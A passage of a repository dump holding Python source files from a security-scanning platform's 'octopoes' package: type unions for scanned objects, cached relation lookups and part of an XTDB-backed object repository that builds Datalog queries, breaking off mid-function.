_cached_paths_to_neighbours(cls_name: str) -> set[Path]:\n    \"\"\"\n    Internal cached function. Only takes hashable arguments (str).\n    \"\"\"\n    source_type = OOITYPE_BY_NAME[cls_name]  # resolve class from name\n    relation_paths: set[Path] = set()\n\n    # OUTGOING paths from source_type\n    for property_name, related_type in get_relations(source_type).items():\n        relation_paths.add(Path([Segment(source_type, Direction.OUTGOING, property_name, related_type)]))\n\n    # INCOMING paths from all concrete types pointing to source_type\n    for other_type in get_concrete_types():\n        for property_name, related_type in get_relations(other_type).items():\n            if source_type in to_concrete({related_type}):\n                relation_paths.add(Path([Segment(source_type, Direction.INCOMING, property_name, other_type)]))\n\n    return relation_paths\n\n\n@cache\ndef get_max_scan_level_inheritance(segment: Segment) -> int | None:\n    \"\"\"This does not change during runtime as the models are static and as such can be cached.\"\"\"\n    if segment.direction == Direction.INCOMING:\n        if segment.target_type is None:\n            raise ValueError(\"Direction cannot be incoming if target type is None\")\n\n        return segment.target_type.model_fields[segment.property_name].json_schema_extra.get(\n            \"max_issue_scan_level\", None\n        )\n    else:\n        return segment.source_type.model_fields[segment.property_name].json_schema_extra.get(\n            \"max_inherit_scan_level\", None\n        )\n\n\n@cache\ndef get_max_scan_level_issuance(segment: Segment) -> int | None:\n    \"\"\"This does not change during runtime as the models are static and as such can be cached.\"\"\"\n    if segment.direction == Direction.INCOMING:\n        if segment.target_type is None:\n            raise ValueError(\"Direction cannot be incoming if target type is None\")\n\n        return segment.target_type.model_fields[segment.property_name].json_schema_extra.get(\n            \"max_inherit_scan_level\", None\n        )\n    else:\n        return segment.source_type.model_fields[segment.property_name].json_schema_extra.get(\n            \"max_issue_scan_level\", None\n        )\n"
  },
  {
    "path": "octopoes/octopoes/models/persistence.py",
    "content": "import inspect\nfrom typing import Any\n\nfrom pydantic import Field\nfrom pydantic.fields import FieldInfo\n\nfrom octopoes.models import OOI\n\n# Dynamically determine allowed Field() keyword parameters\n_FIELD_SIGNATURE = inspect.signature(Field)\n_ALLOWED_FIELD_KWARGS = {\n    name\n    for name, param in _FIELD_SIGNATURE.parameters.items()\n    if param.kind in (param.POSITIONAL_OR_KEYWORD, param.KEYWORD_ONLY)\n}\n\n\ndef ReferenceField(\n    object_type: str | type[OOI],\n    *,\n    max_issue_scan_level: int | None = None,\n    max_inherit_scan_level: int | None = None,\n    **kwargs: Any,\n) -> FieldInfo:\n    if not isinstance(object_type, str):\n        object_type = object_type.get_object_type()\n\n    field_kwargs: dict[str, Any] = {}\n\n    # Start with caller-provided json_schema_extra if present\n    json_schema_extra = dict(kwargs.pop(\"json_schema_extra\", {}) or {})\n\n    # Always inject your metadata\n    json_schema_extra[\"object_type\"] = object_type\n\n    if max_issue_scan_level is not None:\n        json_schema_extra[\"max_issue_scan_level\"] = max_issue_scan_level\n\n    if max_inherit_scan_level is not None:\n        json_schema_extra[\"max_inherit_scan_level\"] = max_inherit_scan_level\n\n    for key, value in kwargs.items():\n        if key in _ALLOWED_FIELD_KWARGS:\n            field_kwargs[key] = value\n        elif value is not None:\n            json_schema_extra[key] = value\n\n    return Field(**field_kwargs, json_schema_extra=json_schema_extra)\n"
  },
  {
    "path": "octopoes/octopoes/models/transaction.py",
    "content": "from datetime import datetime\n\nfrom pydantic import BaseModel, Field\n\n\nclass TransactionRecord(BaseModel):\n    transaction_time: datetime = Field(alias=\"txTime\")\n    transaction_id: int = Field(alias=\"txId\")\n    valid_time: datetime = Field(alias=\"validTime\")\n    content_hash: str = Field(alias=\"contentHash\")\n    document: dict | None = Field(None, alias=\"doc\")\n"
  },
  {
    "path": "octopoes/octopoes/models/tree.py",
    "content": "from __future__ import annotations\n\nfrom collections.abc import Callable\n\nfrom pydantic.main import BaseModel\n\nfrom octopoes.models import Reference\nfrom octopoes.models.types import OOIType\n\n\nclass ReferenceNode(BaseModel):\n    reference: Reference\n    children: dict[str, list[ReferenceNode]]\n\n    def filter_children(self, filter_fn: Callable[[ReferenceNode], bool]) -> bool:\n        \"\"\"\n        Mutable filter function to evict any children from the tree that do not adhere to the provided callback\n        \"\"\"\n        self.children = {\n            attr_name: [child for child in children if child.filter_children(filter_fn)]\n            for attr_name, children in self.children.items()\n        }\n        self.children = {key: value for key, value in self.children.items() if value}\n        if self.children:\n            return True\n        return filter_fn(self)\n\n    def collect_references(self) -> set[Reference]:\n        child_references: set[Reference] = set()\n        for child_name, children in self.children.items():\n            child_references_ = [child.collect_references() for child in children]\n            # merge list of sets\n            child_references_merged = set().union(*child_references_)\n            child_references = child_references.union(child_references_merged)\n\n        return {self.reference}.union(child_references)\n\n\nReferenceNode.model_rebuild()\n\n\nclass ReferenceTree(BaseModel):\n    \"\"\"A tree-like structure of OOIs representing a subgraph of the objects graph, starting from a `root` ooi.The\n    conversion from graph to tree happens through \"unfolding\" the graph during traversal and allowing duplication of\n    nodes in the tree to avoidcycles. Because of the duplication the structure includes a unique, flattened list of OOIs\n    present in the tree, the `store`, for convenience.\"\"\"\n\n    root: ReferenceNode\n    store: dict[str, OOIType]\n"
  },
  {
    "path": "octopoes/octopoes/models/types.py",
    "content": "from __future__ import annotations\n\nfrom collections.abc import Iterator\nfrom functools import cache\nfrom typing import TypeVar\n\nfrom pydantic.fields import FieldInfo\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.exception import TypeNotFound\nfrom octopoes.models.ooi.certificate import (\n    SubjectAlternativeNameHostname,\n    SubjectAlternativeNameIP,\n    SubjectAlternativeNameQualifier,\n    X509Certificate,\n)\nfrom octopoes.models.ooi.config import Config\nfrom octopoes.models.ooi.dns.records import (\n    NXDOMAIN,\n    DNSAAAARecord,\n    DNSARecord,\n    DNSCAARecord,\n    DNSCNAMERecord,\n    DNSMXRecord,\n    DNSNSRecord,\n    DNSPTRRecord,\n    DNSSOARecord,\n    DNSTXTRecord,\n)\nfrom octopoes.models.ooi.dns.zone import DNSZone, Hostname, ResolvedHostname\nfrom octopoes.models.ooi.email_security import (\n    DKIMExists,\n    DKIMKey,\n    DKIMSelector,\n    DMARCTXTRecord,\n    DNSSPFMechanismHostname,\n    DNSSPFMechanismIP,\n    DNSSPFMechanismNetBlock,\n    DNSSPFRecord,\n)\nfrom octopoes.models.ooi.findings import (\n    ADRFindingType,\n    CAPECFindingType,\n    CVEFindingType,\n    CWEFindingType,\n    Finding,\n    FindingType,\n    KATFindingType,\n    MutedFinding,\n    RetireJSFindingType,\n    SnykFindingType,\n)\nfrom octopoes.models.ooi.geography import GeographicPoint\nfrom octopoes.models.ooi.monitoring import Application, Incident\nfrom octopoes.models.ooi.network import (\n    AutonomousSystem,\n    IPAddress,\n    IPAddressV4,\n    IPAddressV6,\n    IPPort,\n    IPV4NetBlock,\n    IPV6NetBlock,\n    Network,\n)\nfrom octopoes.models.ooi.question import Question\nfrom octopoes.models.ooi.reports import AssetReport, HydratedReport, Report, ReportData, ReportRecipe\nfrom octopoes.models.ooi.scans import ExternalScan\nfrom octopoes.models.ooi.service import IPService, Service, TLSCipher\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\nfrom octopoes.models.ooi.web import (\n    RESTAPI,\n    URL,\n    APIDesignRule,\n    APIDesignRuleResult,\n    HostnameHTTPURL,\n    HTTPHeader,\n    HTTPHeaderHostname,\n    HTTPHeaderURL,\n    HTTPResource,\n    ImageMetadata,\n    IPAddressHTTPURL,\n    SecurityTXT,\n    Website,\n)\n\nCertificateType = (\n    X509Certificate | SubjectAlternativeNameHostname | SubjectAlternativeNameIP | SubjectAlternativeNameQualifier\n)\nDnsType = DNSZone | Hostname\nDnsRecordType = (\n    DNSARecord\n    | DNSAAAARecord\n    | DNSTXTRecord\n    | DNSMXRecord\n    | DNSNSRecord\n    | DNSPTRRecord\n    | DNSSOARecord\n    | DNSCNAMERecord\n    | DNSCAARecord\n    | ResolvedHostname\n    | NXDOMAIN\n)\nConcreteFindingTypeType = (\n    ADRFindingType\n    | KATFindingType\n    | CVEFindingType\n    | RetireJSFindingType\n    | CWEFindingType\n    | CAPECFindingType\n    | SnykFindingType\n)\nFindingTypeType = FindingType | ConcreteFindingTypeType\nConcreteNetworkType = Network | IPAddressV4 | IPAddressV6 | AutonomousSystem | IPV4NetBlock | IPV6NetBlock | IPPort\nNetworkType = ConcreteNetworkType | IPAddress\nServiceType = Service | IPService | TLSCipher\nSoftwareType = Software | SoftwareInstance\nWebType = (\n    Website\n    | URL\n    | HostnameHTTPURL\n    | IPAddressHTTPURL\n    | HTTPResource\n    | HTTPHeader\n    | HTTPHeaderURL\n    | HTTPHeaderHostname\n    | ImageMetadata\n    | RESTAPI\n    | APIDesignRule\n    | APIDesignRuleResult\n    | SecurityTXT\n)\nEmailSecurityType = (\n    DNSSPFRecord\n    | DNSSPFMechanismIP\n    | DNSSPFMechanismHostname\n    | DNSSPFMechanismNetBlock\n    | DMARCTXTRecord\n    | DKIMExists\n    | DKIMSelector\n    | DKIMKey\n)\nMonitoringType = Application | Incident\nConfigType = Config\nReportsType = ReportData\nScanType = ExternalScan\n\nConcreteOOIType = (\n    CertificateType\n    | DnsType\n    | DnsRecordType\n    | ConcreteNetworkType\n    | ServiceType\n    | SoftwareType\n    | WebType\n    | DNSSPFMechanismIP\n    | DNSSPFMechanismHostname\n    | DNSSPFMechanismNetBlock\n    | DNSSPFRecord\n    | MonitoringType\n    | EmailSecurityType\n    | Finding\n    | MutedFinding\n    | ConcreteFindingTypeType\n    | ConfigType\n    | Question\n    | ReportsType\n    | ScanType\n    | Report\n    | HydratedReport\n    | AssetReport\n    | GeographicPoint\n    | ReportRecipe\n)\n\nOOIType = ConcreteOOIType | ConcreteNetworkType | ConcreteFindingTypeType\nBITOOIType = ConcreteOOIType | NetworkType | FindingTypeType\n\n\ndef get_all_types(cls_: type[OOI]) -> Iterator[type[OOI]]:\n    yield cls_\n\n    for subclass in cls_.strict_subclasses():\n        yield from get_all_types(subclass)\n\n\nALL_TYPES: set[type[OOI]] = set(get_all_types(OOI))\nT = TypeVar(\"T\", bound=OOI)\n\n\n@cache\ndef get_abstract_types() -> set[type[OOI]]:\n    abstract_types: set[type[OOI]] = {t for t in ALL_TYPES if t.strict_subclasses()}\n    return abstract_types\n\n\n# Get concrete types (no subclasses)\n@cache\ndef get_concrete_types() -> set[type[OOI]]:\n    concrete_types: set[type[OOI]] = {t for t in ALL_TYPES if not t.strict_subclasses()}\n    return concrete_types\n\n\nOOITYPE_BY_NAME: dict[str, type[OOI]] = {t.__name__: t for t in ALL_TYPES}\nCONCRETE_OOITYPE_BY_NAME: dict[str, type[OOIType]] = {t.__name__: t for t in get_concrete_types()}\n\n\n# Collapsed types example\n@cache\ndef get_collapsed_types() -> set[type[OOI]]:\n    abstract_ooi_subtypes: set[type[OOI]] = get_abstract_types() - {OOI}\n\n    subclasses_of_abstract_ooi: set[type[OOI]] = set()\n\n    for concrete_type in get_concrete_types():\n        for abstract_type in abstract_ooi_subtypes:\n            if issubclass(concrete_type, abstract_type):\n                subclasses_of_abstract_ooi.add(concrete_type)\n\n    non_abstracted_concrete_types: set[type[OOI]] = get_concrete_types() - subclasses_of_abstract_ooi\n\n    return abstract_ooi_subtypes.union(non_abstracted_concrete_types)\n\n\ndef to_concrete(object_types: set[type[OOI]]) -> set[type[OOI]]:\n    concrete_types = set()\n    for object_type in object_types:\n        if object_type in get_concrete_types():\n            concrete_types.add(object_type)\n        else:\n            child_concrete_types = {t for t in get_concrete_types() if issubclass(t, object_type)}\n            concrete_types = concrete_types.union(child_concrete_types)\n    return concrete_types\n\n\n@cache\ndef type_by_name(type_name: str) -> type[OOI]:\n    try:\n        return OOITYPE_BY_NAME[type_name]\n    except KeyError:\n        raise TypeNotFound\n\n\n@cache\ndef concrete_type_by_name(type_name: str) -> type[OOI]:\n    \"\"\"Return a concrete subclass of OOI by name (class object).\"\"\"\n    try:\n        return CONCRETE_OOITYPE_BY_NAME[type_name]  # returns type[OOI]\n    except KeyError:\n        raise TypeNotFound\n\n\n@cache\ndef related_object_type(field: FieldInfo) -> type[OOI]:\n    object_type: str | type[OOIType] = field.json_schema_extra[\"object_type\"]\n    if isinstance(object_type, str):\n        return type_by_name(object_type)\n    return object_type\n\n\ndef get_relations(object_type: type[OOI]) -> dict[str, type[OOI]]:\n    # delegate to cached helper using only strings\n    return _cached_relations(object_type.__name__)\n\n\n@cache\ndef _cached_relations(cls_name: str) -> dict[str, type[OOI]]:\n    cls = OOITYPE_BY_NAME[cls_name]  # reconstruct the class\n    return {\n        name: related_object_type(field)\n        for name, field in cls.model_fields.items()\n        if field.annotation == Reference\n        or (hasattr(field.annotation, \"__args__\") and Reference in field.annotation.__args__)\n    }\n\n\ndef get_relation(object_type: type[OOI], property_name: str) -> type[OOI]:\n    \"\"\"\n    Public API: safely cache relation lookups by using only strings as cache keys.\n    \"\"\"\n    cls_name: str = object_type.__name__\n    return _cached_relation(cls_name, property_name)\n\n\n@cache\ndef _cached_relation(cls_name: str, property_name: str) -> type[OOI]:\n    \"\"\"\n    Internal cached function.\n    Arguments are fully hashable (str), so MyPy is happy.\n    \"\"\"\n    # Resolve the actual class object at runtime\n    object_type: type[OOI] = OOITYPE_BY_NAME[cls_name]\n\n    # Compute relations normally\n    relations: dict[str, type[OOI]] = get_relations(object_type)\n    return relations[property_name]\n\n\n# FIXME: legacy imports\nOOI_TYPES = {ooi_type.get_object_type(): ooi_type for ooi_type in get_concrete_types()}\n"
  },
  {
    "path": "octopoes/octopoes/repositories/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/octopoes/repositories/ooi_repository.py",
    "content": "from __future__ import annotations\n\nimport re\nfrom collections import Counter\nfrom datetime import datetime\nfrom typing import Annotated, Any, Literal, cast\nfrom uuid import UUID\n\nimport structlog\nfrom bits.definitions import BitDefinition\nfrom httpx import HTTPStatusError, codes\nfrom pydantic import Field, RootModel, TypeAdapter\n\nfrom octopoes.config.settings import DEFAULT_LIMIT, DEFAULT_OFFSET, Settings\nfrom octopoes.events.events import OOIDBEvent, OperationType\nfrom octopoes.events.manager import EventManager\nfrom octopoes.models import OOI, Reference, ScanLevel, ScanProfile, ScanProfileType\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.ooi.config import Config\nfrom octopoes.models.ooi.findings import Finding, FindingType, RiskLevelSeverity\nfrom octopoes.models.ooi.reports import HydratedReport, Report, ReportRecipe\nfrom octopoes.models.pagination import Paginated\nfrom octopoes.models.path import Direction, Path, Segment, get_paths_to_neighbours\nfrom octopoes.models.transaction import TransactionRecord\nfrom octopoes.models.tree import ReferenceNode, ReferenceTree\nfrom octopoes.models.types import get_concrete_types, get_relation, get_relations, to_concrete, type_by_name\nfrom octopoes.repositories.repository import Repository\nfrom octopoes.xtdb import Datamodel, FieldSet, ForeignKey\nfrom octopoes.xtdb.client import OperationType as XTDBOperationType\nfrom octopoes.xtdb.client import XTDBSession\nfrom octopoes.xtdb.query import Aliased, Query\nfrom octopoes.xtdb.query_builder import generate_pull_query, str_val\nfrom octopoes.xtdb.related_field_generator import RelatedFieldNode\n\nlogger = structlog.get_logger(__name__)\nsettings = Settings()\n\n\ndef merge_ooi(ooi_new: OOI, ooi_old: OOI) -> tuple[OOI, bool]:\n    data_old = ooi_old.model_dump()\n    data_new = ooi_new.model_dump()\n\n    # Trim new None values\n    clean_new = {key: val for key, val in data_new.items() if val is not None}\n\n    changed = False\n    for key, value in clean_new.items():\n        if key in data_old and data_old[key] != value:\n            changed = True\n            break\n\n    data_old.update(clean_new)\n    return ooi_new.__class__.model_validate(data_old), changed\n\n\nclass OOIRepository(Repository):\n    def __init__(self, event_manager: EventManager):\n        self.event_manager = event_manager\n\n    def get(self, reference: Reference, valid_time: datetime) -> OOI:\n        raise NotImplementedError\n\n    def get_history(\n        self,\n        reference: Reference,\n        *,\n        sort_order: str = \"asc\",  # Or: \"desc\"\n        with_docs: bool = False,\n        has_doc: bool | None = None,\n        offset: int = 0,\n        limit: int | None = None,\n        indices: list[int] | None = None,\n    ) -> list[TransactionRecord]:\n        raise NotImplementedError\n\n    def load_bulk(\n        self, references: set[Reference], valid_time: datetime, include_scan_levels: bool = False\n    ) -> dict[str, OOI]:\n        raise NotImplementedError\n\n    def load_bulk_as_list(\n        self,\n        references: set[Reference],\n        valid_time: datetime,\n        include_scan_levels: bool = False,\n        include_results: bool = False,\n    ) -> list[OOI]:\n        raise NotImplementedError\n\n    def get_neighbours(\n        self, reference: Reference, valid_time: datetime, paths: set[Path] | None = None\n    ) -> dict[Path, list[OOI]]:\n        raise NotImplementedError\n\n    def list_oois(\n        self,\n        types: set[type[OOI]],\n        valid_time: datetime,\n        offset: int = DEFAULT_OFFSET,\n        limit: int = DEFAULT_LIMIT,\n        scan_levels: set[ScanLevel] | None = None,\n        scan_profile_types: set[ScanProfileType] | None = None,\n        search_string: str | None = None,\n        order_by: Literal[\"scan_level\", \"object_type\"] = \"object_type\",\n        asc_desc: Literal[\"asc\", \"desc\"] = \"asc\",\n    ) -> Paginated[OOI] | list[OOI]:\n        raise NotImplementedError\n\n    def list_oois_by_object_types(self, types: set[type[OOI]], valid_time: datetime) -> list[OOI]:\n        raise NotImplementedError\n\n    def list_random(\n        self,\n        valid_time: datetime,\n        amount: int = 1,\n        scan_levels: set[ScanLevel] | None = None,\n        include_scan_levels: bool = True,\n    ) -> list[OOI]:\n        raise NotImplementedError\n\n    def list_neighbours(self, references: set[Reference], paths: set[Path], valid_time: datetime) -> set[OOI]:\n        raise NotImplementedError\n\n    def save(self, ooi: OOI, valid_time: datetime, end_valid_time: datetime | None = None) -> None:\n        raise NotImplementedError\n\n    def delete_if_exists(self, reference: Reference, valid_time: datetime) -> None:\n        raise NotImplementedError\n\n    def delete(self, reference: Reference, valid_time: datetime) -> None:\n        raise NotImplementedError\n\n    def get_tree(\n        self,\n        reference: Reference,\n        valid_time: datetime,\n        search_types: set[type[OOI]] | None = None,\n        depth: int = 1,\n        include_scan_levels: bool = True,\n    ) -> ReferenceTree:\n        raise NotImplementedError\n\n    def list_oois_without_scan_profile(self, valid_time: datetime) -> set[Reference]:\n        raise NotImplementedError\n\n    def count_findings_by_severity(self, valid_time: datetime) -> Counter:\n        raise NotImplementedError\n\n    def list_findings(\n        self,\n        severities: set[RiskLevelSeverity],\n        valid_time: datetime,\n        exclude_muted: bool = False,\n        only_muted: bool = False,\n        offset: int = DEFAULT_OFFSET,\n        limit: int = DEFAULT_LIMIT,\n        search_string: str | None = None,\n        order_by: Literal[\"score\", \"finding_type\"] = \"score\",\n        asc_desc: Literal[\"asc\", \"desc\"] = \"desc\",\n    ) -> Paginated[Finding]:\n        raise NotImplementedError\n\n    def list_reports(\n        self, valid_time: datetime, offset: int, limit: int, recipe_id: UUID | None = None, ignore_count: bool = False\n    ) -> Paginated[HydratedReport]:\n        raise NotImplementedError\n\n    def get_report(self, valid_time: datetime, report_id: str | Reference) -> HydratedReport:\n        raise NotImplementedError\n\n    def get_bit_configs(self, source: OOI, bit_definition: BitDefinition, valid_time: datetime) -> list[Config]:\n        raise NotImplementedError\n\n    def list_related(self, ooi: OOI, path: Path, valid_time: datetime) -> list[OOI]:\n        raise NotImplementedError\n\n    def query(\n        self, query: str | Query, valid_time: datetime, to_type: type[OOI] | None = None\n    ) -> list[OOI | tuple | dict[Any, Any]]:\n        raise NotImplementedError\n\n\nclass XTDBReferenceNode(RootModel):\n    root: dict[str, str | list[XTDBReferenceNode] | XTDBReferenceNode]\n\n    def to_reference_node(self, pk_prefix: str) -> ReferenceNode | None:\n        if not self.root:\n            return None\n        # Apparently relations can be joined to Null values..?!?\n        if pk_prefix not in self.root:\n            return None\n        reference = Reference.from_str(cast(str, self.root.pop(pk_prefix)))\n        children = {}\n        for name, value in self.root.items():\n            if isinstance(value, XTDBReferenceNode):\n                sub_nodes = [value.to_reference_node(pk_prefix)]\n            elif isinstance(value, list | set):\n                sub_nodes = [val_.to_reference_node(pk_prefix) for val_ in value]\n            sub_nodes = [node for node in sub_nodes if node is not None]\n            if sub_nodes:\n                children[name] = sub_nodes\n        return ReferenceNode(reference=reference, children=children)\n\n\nentities = {}\nfor ooi_type_ in get_concrete_types():\n    fks = []\n    for field_name, related in get_relations(ooi_type_).items():\n        related_entities = {r.__name__ for r in to_concrete({related})}\n        fks.append(\n            ForeignKey(\n                source_entity=ooi_type_.get_object_type(),\n                attr_name=field_name,\n                related_entities=related_entities,\n                reverse_name=ooi_type_.get_reverse_relation_name(field_name),\n            )\n        )\n    entities[ooi_type_.get_object_type()] = fks\n\ndatamodel = Datamodel(entities=entities)\n\n\ndef escape_string(string):\n    escaped_string = re.sub(r'([\"\\\\])', r\"\\\\\\1\", string)\n    return escaped_string\n\n\nclass XTDBOOIRepository(OOIRepository):\n    pk_prefix = \"xt/id\"\n\n    def __init__(self, event_manager: EventManager, session: XTDBSession):\n        super().__init__(event_manager)\n        self.session = session\n\n    def commit(self, sync: bool = False):\n        self.session.commit(sync)\n\n    @classmethod\n    def serialize(cls, ooi: OOI) -> dict[str, Any]:\n        # export model with pydantic serializers\n        export = ooi.model_dump(mode=\"json\")\n\n        # prefix fields, but not object_type\n        export.pop(\"object_type\")\n        user_id = export.pop(\"user_id\", None)\n        export = {f\"{ooi.__class__.__name__}/{key}\": value for key, value in export.items() if value is not None}\n\n        export[\"object_type\"] = ooi.__class__.__name__\n        export[\"user_id\"] = user_id\n        export[cls.pk_prefix] = ooi.primary_key\n\n        return export\n\n    @classmethod\n    def deserialize(\n        cls, data: dict[str, Any], to_type: type[OOI] | None = None, scan_profile: dict[str, Any] | None = None\n    ) -> OOI:\n        if \"object_type\" not in data:\n            raise ValueError(\"Data is missing object_type\")\n\n        object_cls = to_type or type_by_name(data[\"object_type\"])\n\n        # remove type prefixes\n        stripped = {\n            key.split(\"/\")[1]: value\n            for key, value in data.items()\n            if key not in [cls.pk_prefix, \"user_id\", \"object_type\", \"_reference\"]\n        }\n        stripped[\"user_id\"] = data.get(\"user_id\")\n\n        if scan_profile:\n            scan_profile[\"reference\"] = Reference.from_str(stripped[\"primary_key\"])\n            scan_profile[\"level\"] = ScanLevel(scan_profile[\"level\"])\n            scan_profile = TypeAdapter(\n                Annotated[ScanProfile, Field(discriminator=\"scan_profile_type\")]\n            ).validate_python(scan_profile)\n            stripped[\"scan_profile\"] = scan_profile\n        elif scan_profiles := data.get(\"_reference\", []):\n            stripped[\"scan_profile\"] = scan_profiles[0]\n\n        return object_cls.model_validate(stripped)\n\n    def get(self, reference: Reference, valid_time: datetime) -> OOI:\n        try:\n            res = self.session.client.get_entity(str(reference), valid_time)\n        except HTTPStatusError as e:\n            if e.response.status_code == codes.NOT_FOUND:\n                raise ObjectNotFoundException(str(reference))\n\n            raise\n\n        return self.deserialize(res)\n\n    def get_history(\n        self,\n        reference: Reference,\n        *,\n        sort_order: str = \"asc\",  # Or: \"desc\"\n        with_docs: bool = False,\n        has_doc: bool | None = None,\n        offset: int = 0,\n        limit: int | None = None,\n        indices: list[int] | None = None,\n    ) -> list[TransactionRecord]:\n        try:\n            return self.session.client.get_entity_history(\n                str(reference),\n                sort_order=sort_order,\n                with_docs=with_docs,\n                has_doc=has_doc,\n                offset=offset,\n                limit=limit,\n                indices=indices,\n            )\n        except HTTPStatusError as e:\n            if e.response.status_code == codes.NOT_FOUND:\n                raise ObjectNotFoundException(str(reference))\n\n            raise\n\n    def load_bulk(\n        self,\n        references: set[Reference],\n        valid_time: datetime,\n        include_scan_levels: bool = False,\n        include_results: bool = False,\n    ) -> dict[str, OOI]:\n        return {\n            ooi.primary_key: ooi\n            for ooi in self.load_bulk_as_list(references, valid_time, include_scan_levels, include_results)\n        }\n\n    def load_bulk_as_list(\n        self,\n        references: set[Reference],\n        valid_time: datetime,\n        include_scan_levels: bool = False,\n        include_results: bool = False,\n    ) -> list[OOI]:\n        if not references:\n            return []\n\n        if not any([include_scan_levels, include_results]):\n            query = Query().where_in(OOI, id=references).pull(OOI, fields=\"[*]\")\n            return [self.deserialize(x[0]) for x in self.session.client.query(query, valid_time)]\n\n        pull_fields = [\"*\"]\n        where_clause = [\"[?e :xt/id ?ids]\"]\n\n        if include_results:\n            pull_fields.append(\"{:_source [:xt/id :type :origin_type :method :source_method :task_id :result]}\")\n\n        fields = [f\"(pull ?e [{' '.join(pull_fields)}])\"]\n\n        if include_scan_levels:\n            fields.append(\"_scan_profile_type\")\n            fields.append(\"_scan_level\")\n            where_clause.extend(\n                [\n                    \"\"\"\n                    (or-join [?e _scan_level _scan_profile_type]\n                      (and\n                        [?scan_profile :type \"ScanProfile\"]\n                        [?scan_profile :reference ?e]\n                        [?scan_profile :level _scan_level]\n                        [?scan_profile :scan_profile_type _scan_profile_type])\n                      (and\n                        [(identity nil) _scan_level]\n                        [(identity nil) _scan_profile_type]))\n                    \"\"\"\n                ]\n            )\n\n        data_query = f\"\"\"\n        {{\n          :query {{\n            :find [{ ' '.join(fields) }]\n            :where [\n              { ' '.join(where_clause) }\n            ]\n            :in [[?ids ...]]\n          }}\n          :in-args [\n            [{ ' '.join(str_val(r) for r in references) }]\n          ]\n        }}\n        \"\"\"\n        try:\n            res = self.session.client.query(data_query, valid_time)\n        except HTTPStatusError as error:\n            logger.exception(\n                \"XTDB did not agree with our request: %s, with query: %s @ %s\", error, data_query, valid_time\n            )\n            raise\n\n        return [\n            self.deserialize(\n                x[0],\n                scan_profile={\"scan_profile_type\": x[1], \"level\": x[2]}\n                if include_scan_levels and x[1] is not None\n                else None,\n            )\n            for x in res\n        ]\n\n    def list_oois(\n        self,\n        types: set[type[OOI]],\n        valid_time: datetime,\n        offset: int = DEFAULT_OFFSET,\n        limit: int = DEFAULT_LIMIT,  # 0 for just the count, -1 for non paginated\n        scan_levels: set[ScanLevel] | None = None,\n        scan_profile_types: set[ScanProfileType] | None = None,\n        search_string: str | None = None,\n        order_by: Literal[\"scan_level\", \"object_type\"] = \"object_type\",\n        asc_desc: Literal[\"asc\", \"desc\"] = \"asc\",\n    ) -> Paginated[OOI] | list[OOI]:\n        types = to_concrete(types)\n\n        search_statement = (\n            f\"\"\"[?e :xt/id ?id] [(clojure.string/includes? ?id \\\"{escape_string(search_string)}\\\")]\"\"\"\n            if search_string\n            else \"\"\n        )\n\n        order_statement = f\":order-by [[_{order_by} :{asc_desc}]]\"\n\n        args = [\"[{object_types}]\".format(object_types=\" \".join(map(lambda t: str_val(t.get_object_type()), types)))]\n\n        in_types = [\"[_object_type ...]\"]\n\n        # add scan level query / args\n        if scan_levels:\n            args.append(\n                \"[{scan_levels}]\".format(scan_levels=\" \".join([str(scan_level.value) for scan_level in scan_levels]))\n            )\n            in_types.append(\"[_scan_level ...]\")\n        scan_level_statement = \"[?scan_profile :level _scan_level]\"\n\n        # add scan profile query / args\n        scan_profile_statement = \"[?scan_profile :scan_profile_type _scan_profile_type]\"\n        if scan_profile_types:\n            args.append(\n                \"[{scan_profile_types}]\".format(\n                    scan_profile_types=\" \".join(\n                        [str_val(scan_profile_type.value) for scan_profile_type in scan_profile_types]\n                    )\n                )\n            )\n            in_types.append(\"[_scan_profile_type ...]\")\n\n        count_query = \"\"\"\n                {{\n                    :query {{\n                        :find [(count ?e)]\n                        :in [{in_types}]\n                        :where [[?e :object_type _object_type]\n                                [?scan_profile :type \"ScanProfile\"]\n                                [?scan_profile :reference ?e]\n                                {scan_level_statement}\n                                {scan_profile_statement}\n                                {search_statement}]\n                    }}\n                    :in-args [{args}]\n                }}\n                \"\"\".format(\n            in_types=\" \".join(in_types),\n            scan_level_statement=scan_level_statement,\n            scan_profile_statement=scan_profile_statement,\n            search_statement=search_statement,\n            args=\",\".join(args),\n        )\n\n        if limit == 0:  # we want Just the count\n            res_count = self.session.client.query(count_query, valid_time)\n            count = res_count[0][0] if res_count else 0\n            return Paginated(count=count, items=[])\n\n        query_limit = \"\"\n        if limit != -1:  # we dont limit, and we dont paginate\n            query_limit = f\":limit {limit} :offset {offset}\"\n\n        data_query = \"\"\"\n                {{\n                    :query {{\n                        :find [(pull ?e [*]) _object_type _scan_profile_type _scan_level]\n                        :in [{in_types}]\n                        :where [[?e :object_type _object_type]\n                                [?scan_profile :type \"ScanProfile\"]\n                                [?scan_profile :reference ?e]\n                                {scan_level_statement}\n                                {scan_profile_statement}\n                                {search_statement}]\n                        {order_statement}\n                        {query_limit}\n\n                    }}\n                    :in-args [{args}]\n                }}\n        \"\"\".format(\n            in_types=\" \".join(in_types),\n            scan_profile_statement=scan_profile_statement,\n            scan_level_statement=scan_level_statement,\n            search_statement=search_statement,\n            order_statement=order_statement,\n            query_limit=query_limit,\n            args=\",\".join(args),\n        )\n        res = self.session.client.query(data_query, valid_time)\n\n        if limit == -1:  # we dont limit, and we dont paginate\n            return [self.deserialize(x[0], None, {\"scan_profile_type\": x[2], \"level\": x[3]}) for x in res]\n\n        # if the resultset is smaller than the requested limit, we know the count\n        if len(res) < limit:\n            count = len(res) + offset\n        else:  # if the resultset is the same size as the requested limit, lets ask the db for the total count\n            res_count = self.session.client.query(count_query, valid_time)\n            count = res_count[0][0] if res_count else 0\n        return Paginated(\n            count=count, items=[self.deserialize(x[0], None, {\"scan_profile_type\": x[2], \"level\": x[3]}) for x in res]\n        )\n\n    def list_oois_by_object_types(\n        self, types: set[type[OOI]], valid_time: datetime, min_scan_level: int | None = None\n    ) -> list[OOI]:\n        scan_levels = None\n        if min_scan_level:\n            scan_levels = {ScanLevel(level) for level in range(min_scan_level, 5)}\n\n        return self.list_oois(types=types, valid_time=valid_time, scan_levels=scan_levels, limit=-1)\n\n    def list_random(\n        self,\n        valid_time: datetime,\n        amount: int = 1,\n        scan_levels: set[ScanLevel] | None = None,\n        include_scan_levels: bool = True,\n    ) -> list[OOI]:\n        query_in = \"\"\n        query_args = \"\"\n        if scan_levels:\n            scan_levels_values = \" 